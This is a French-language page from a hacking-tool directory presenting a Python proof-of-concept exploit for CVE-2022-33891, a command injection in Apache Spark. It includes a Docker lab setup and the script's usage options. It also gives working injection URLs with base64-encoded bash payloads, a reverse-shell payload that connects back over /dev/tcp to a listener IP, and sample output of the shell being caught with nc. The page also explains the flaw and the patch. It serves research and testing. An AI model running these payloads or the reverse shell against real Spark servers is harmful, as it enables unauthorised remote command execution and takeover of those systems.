Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2022-33891 — Preuve de concept en Python pour l'injection de commandes dans Apache Spark Shell (CVE-2022-33891), avec détection basée sur le sommeil, exécution interactive de commandes et capacités de shell inversé contre les interfaces Spark vulnérables. | Kitploit
Outils/GitHubGitHub/akbartrilaksana/cve-2022-33891
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Preuve de concept en Python pour l'injection de commandes dans Apache Spark Shell (CVE-2022-33891), avec détection basée sur le sommeil, exécution interactive de commandes et capacités de shell inversé contre les interfaces Spark vulnérables.

Voir le dépôt
312il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-33891

Vulnérabilité d'injection de commande dans le shell Apache Spark

Un POC Python pour exploiter la vulnérabilité d'injection de commande dans le shell Apache Spark. J'ai vu d'autres POC ailleurs, mais ils semblaient super louches. Celui-ci est propre et simple.

Je n'ai pas découvert cet exploit/cette vulnérabilité. Je voulais juste faire un POC sûr pour la communauté ^.^

Versions affectées

Versions Apache Spark 3.0.3 et antérieures, versions 3.1.1 à 3.1.2, et versions 3.2.0 à 3.2.1

Composant vulnérable

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

Exemple

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... met en veille pendant 10 secondes

Configuration

Vous avez besoin d'une version vulnérable de Spark avec une seule option de configuration modifiée.

  • Installez les dépendances : $ pip3 install -r requirements.txt
  • Placez-vous dans le répertoire .
spark/
  • Utilisez le fichier docker-compose.yml fourni dans le répertoire spark/ et exécutez docker-compose up. Laissez le conteneur démarrer.
  • Dans un nouveau terminal, entrez sudo docker exec -it spark_spark_1 /bin/bash
  • Dans la session bash du conteneur, entrez : echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • Optionnellement, affichez le contenu de spark-defaults.conf pour vérifier qu'il est correct.
  • Quittez le shell bash interactif et faites Ctl-C sur votre processus docker-compose.
  • Une fois que les conteneurs se sont arrêtés correctement, relancez docker-compose up
  • Utilisation

    root@kitploit:~
    usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
    
    CVE-2022-33891 Python POC Exploit Script
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     URL to exploit.
      -p PORT, --port PORT  Exploit target's port.
      --revshell            Reverse Shell option.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Your listening host IP address.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Your listening host port.
      --check               Checks if the target is exploitable with a sleep test
    
    

    Exemples

    Vérifiez si la cible est vulnérable :

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
    [*] Attempting to connect to site...
    [*] Performing sleep test of 10 seconds...
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [+] Sleep was 10 seconds! This target is probably vulnerable!
    

    Émettez des commandes dans une boucle d'invite de commande :

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
    [*] "Interactive" mode!
    [!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
    > sleep 5
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    > 
    

    Exécutez un shell inversé :

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
    [*] Reverse shell mode.
    [*] Set up your listener by entering the following:
     nc -nvlp 1337
    [!] When your listener is set up, press enter!
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
    
    ...[dans l'autre terminal]...
    
    husky@dev-kde:~/spark$ nc -nvlp 1337
    Listening on 0.0.0.0 1337
    Connection received on 172.21.0.2 55278
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    

    Plus d'informations

    L'injection de commande se produit car Spark vérifie l'appartenance au groupe de l'utilisateur passé dans le paramètre ?doAs en utilisant une commande Linux brute.

    Passer id comme utilisateur produit cette erreur dans la trace :

    root@kitploit:~
    spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
    spark_1  | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
    
    

    Ici, Java a décidé qu'il serait préférable de passer la commande id dans bash -c pour vérifier l'appartenance au groupe d'un utilisateur spécifié. Le problème est que cela permet également l'injection de commande.

    Les versions corrigées paramètrent cet appel pour avoir un chemin complet vers la commande /bin/id au lieu de bash -c id

    Il est à noter que rien n'est réfléchi sur la page lors de l'exécution de la commande, il s'agit donc d'une injection OS aveugle. Vos commandes s'exécutent, mais il n'y aura aucune indication si elles ont fonctionné ou non, ni même si le programme que vous exécutez est sur la cible. Par exemple, le conteneur qui est démarré avec le fichier docker-compose.yml de ce dépôt n'a pas ping, donc vérifier l'injection de commande via un pingback ne fonctionnera pas. Mais vous ne saurez pas que c'est le cas, donc vous resterez à vous demander si ça a fonctionné ou non.

    Le test de mise en veille est un pari sûr ^.^

    Références

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (Je ne recommande pas d'utiliser ce POC)
    Télécharger l’outil